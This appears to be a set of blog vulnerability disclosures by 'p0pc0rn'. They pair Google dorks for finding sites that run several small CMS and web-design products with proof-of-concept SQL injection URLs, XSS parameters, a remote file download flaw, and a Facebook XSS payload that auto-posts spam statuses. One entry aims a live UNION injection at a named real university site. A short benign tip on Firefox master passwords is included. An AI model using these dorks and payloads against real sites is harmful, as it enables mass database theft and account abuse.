PakCyber Web Design Multiple Vulnerabilities

Title : PakCyber Web Design Multiple Vulnerabilities
Found : by p0pc0rn
Vendor: http://pakcyber.com/
Dork : intext:"Powered By PakCyber"

Blind SQL Injection
-------------------

http://www.victim.com/site.php?article_id=[Blindey]
Eg:
http://www.victim.com/full_article_text.php?article_id=808 and 1=1 TRUE
http://www.victim.com/full_article_text.php?article_id=808 and 1=2 FALSE

http://www.victim2.com/site.php?cid=[Blindey]
Eg:
http://www.victim2.com/university.php?cid=8 or 1=1-- TRUE
http://www.victim2.com/university.php?cid=8 or 1=2-- FALSE

http://www.victim3.com/site.php?CatId=[Blindey]
Eg:
http://www.victim3.com/CategoryDetails.php?CatId=44 or 1=1-- TRUE
http://www.victim3.com/CategoryDetails.php?CatId=44 or 1=2-- FALSE

There are more parameters need to be checked out.High possibility there's a SQL Injection vulnerablity too

Cross Site Scripting
--------------------
http://www.victim.com/CategoryDetails.php?CatId=44&CatName=[XSS]

thanks,
#p0pc0rn#

ezeXs Web Design Vulnerable to SQL Injection

Title : ezeXs Web Design Vulnerable to SQL Injection
Web : http://www.ezexs.com/
By : p0pc0rn
Dork : intext:"Powered by ezexs.com"

Microsoft Access SQL Injection
------------------------------

http://site.com/[type].asp?[id]=[SQL]

Notes : All parameters are possible to be injected.

POC
---

http://site.com/product_detail.asp?Id=57 union select 1 from test.a
http://site.com/category.asp?Id=49 union select 1 from test.a

more out there.

thanks,
-p0pc0rn-

Site Developed by Magfiroh Vulnerable to SQL Injection

Title : Site Developed by Magfiroh Vulnerable to SQL Injection
Filetype : ColdFusion
Found by : p0pc0rn
Dork : inurl:".cfm?judul="

SQL
---

http://site.com/parameter.cfm?judul=[SQL]

POC
---

http://site.com/download_detail.cfm?judul=1'

Live Demo
---------

http://www.stiabinabanua.ac.id/download_detail.cfm?judul=30 UNION SELECT 1,2,version(),user(),5,6--

thanks,
-p0pc0rn-

eksi7 Web Design Vulnerable to Multiple SQL Injection

Title : eksi7 Web Design Vulnerable to Multiple SQL Injection
Vendor: http://www.eksi7.com
Found by : p0pc0rn
Dork :
inurl:"devam.asp?haber_id="
inurl:"kat_list.asp?kat_id="
intext:"tasarim ve programlama eksi7 web hizmetleri"
intext:"design and programming eksi7 web services"

MSSQL
-----
http://site.com/path/haber/devam.asp?haber_id=[MSSQL]

POC
---
http://site.com/v4/haber/devam.asp?haber_id=7927+and+1=@@version

JetDatabase
-----------
http://site.com/path/haber/devam.asp?haber_id=[SQL]
http://site.com/path/icerik/kat_list.asp?kat_id=[SQL]

POC
---
http://site.com/abana/haber/devam.asp?haber_id=460 UnIoN SelECt 1 from test.a
http://site.com/rozey/icerik/kat_list.asp?kat_id=7 unIoN SelEct 1 from test.a

thanks,
-p0pc0rn-

Autonics Corporation Websites Vulnerable to Remote File Download

Title : Autonics Corporation Websites Vulnerable to Remote File Download
Found by : p0pc0rn
Dork : inurl:"download.php?bo_code=data"

POC
---
http://site.com/board/download.php?bo_code=data&filename=[remote file download]

* -------------------------------------------------------------------------
* @Creator Psyche Lee
* @version 1.0
* @date 2007-11-22
* -------------------------------------------------------------------------
* Copyright 2007 by Psyche Lee
* -------------------------------------------------------------------------
****more****

thanks,
-p0pc0rn-

Master Password in Firefox

Master Password in Firefox
--------------------------

Some of us maybe stored password for some sites in our browser.SO..
It's really important to set your master password in firefox browser
Why we need to set the master password?
This is because, if attacker physically access to our computer as example,they can check our stored passwords at

Tools > Options > Security > Saved Password > Show Password

Dangerous meh?!

What you need to do is simple, just set the master password

Tools > Options > Security > Master Password

and then each time someone attempt to see the saved password,firefox will ask for master password first. Same happen if someone trying to browse to your favourite website where you did stored password in browser,firefox will ask to put the master password first.

Have a try.

Thanks
-p0pc0rn-

New XSS at m.facebook.com

So,noticed that there's a new XSS vulnerability found at facebook by someone.
Figured out after saw my friend update his facebook status in Indonesian language.

so,the what the attacker can do is when a victim click the link,the victim will automatically update his/her facebook status via..facebook own apps!!
u can see the status is updated via Share from the screenshot.

POC of XSS

so,how the attacker do to make the victim will update their status just by clicking the link??

http://m.facebook.com/path/blalallaa.php?display=wap&user_xxxx_xxxx='%3Cscript%3Ewindow.onload=function(){document.forms[0].message.value='Update Status!!!%20http://fakelink.cc/something';document.forms[0].submit();}%3C/script%3E

p/s
- if u want to click the link without updating your facebook,logout first :D
- make the shorten url become the real url first
- still,never click.maybe some attacker can use a dangerous script for something bad attempt
- just remove the status update before your friend click it.pls dont share for fun.it can be something that dangerous for your facebook account if the attacker want to.

edited :
- facebook team already fixed this vuln.
- my friend also blogged about this. here
disclaimer : i'm not the one found this vuln at first.kudos to the real founder.

CAPSoft CMS Multiple Vulnerabilities

Title : CAPSoft CMS Multiple Vulnerabilities
Vendor : http://www.capsoft.com.ar
Found by : p0pc0rn

SQL
---
Vulnerable Parameters are

Method = GET
------------
http://site.com/noticia.asp?id=[SQL]
http://site.com/imprimir.asp?tabla=[content_name]&id=[SQL]
http://site.com/product.asp?intProdID=[SQL]
http://site.com/productosporcategoria.asp?intCatalogID=[SQL]

POC
---
http://site.com/noticia.asp?id=1 union select 0 from test.a

Method = POST
-------------
buscador.asp
ingresar.asp

XSS
---
http://site.com/diseno_web.asp?pcia=[XSS]
http://site.com/productosporcategoria.asp?intCatalogID=[id_number]&strCatalog_NAME=[XSS]


thanks,
-p0pc0rn-

Inventory Mojo Software Vulnerable to Multiple SQL Injections

Title : Inventory Mojo Software Vulnerable to Multiple SQL Injections
Found by : p0pc0rn
Dork : intext:"Powered by Inventory Mojo Software."

SQL
---
Vulnerable Parameters are

Method = GET
------------
categoria.asp
producto.asp
srubro.asp
marca.asp

Method = POST
-------------
buscar.asp
Login.asp
NewUser.asp
do_addToNewsletter.asp

POC
---
http://site.com/categoria.asp?CT=6' and '1'='1 TRUE
http://site.com/categoria.asp?CT=6' and '1'='0 FALSE

thanks,
-p0pc0rn-

Shimbi CMS Vulnerable to Multiple SQL Injections

Title : Shimbi CMS Vulnerable to Multiple SQL Injections
Vendor : http://www.shimbi.in/
Found by : p0pc0rn
Dork : intext:"Powered By Shimbi CMS"

SQL Injection in details.php parameter
---------------------------------------
http://site.com/details.php?id=[sql]

POC
---
http://site.com/details.php?id=112 UNION SELECT 1,2,3,4,version(),6,7,8

SQL Injection in faq_details.php parameter
---------------------------------------
http://site.com/faq_details.php?flag=q&id=[sql]

POC
---
http://site.com/faq_details.php?flag=q&id=1'

SQL Injection in blog/addComment.php parameter
---------------------------------------
http://site.com/blog/addComment.php?topic_id=[sql]

POC
---
http://site.com/blog/addComment.php?stat=stat&type=t&category_id=9&topic_id=-122/**/UNION/**/SELECT/**/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--

thanks,
-p0pc0rn-

OnePlug CMS Vulnerable to Multiple SQL Injection

Title : OnePlug CMS Vulnerable to Multiple SQL Injection
Vendor : http://www.webpromo-inc.com/
Found by : p0pc0rn
Dork : intext:"Powered by OnePlug CMS"

SQL - Microsoft Access
-------------------------------
Parameters
index.asp?Team_ID=[SQL]
service_info.asp?Service_ID=[SQL]
product_details.asp?Product_ID=[SQL]
product_list.asp?Category_ID=[SQL]
product_info.asp?Product_ID=[SQL]
category_list.asp?Category_ID=[SQL]

more..

POC
---
http://site.com/category_list.asp?Category_ID=1 union select 0 from test.a

thanks,
-p0pc0rn-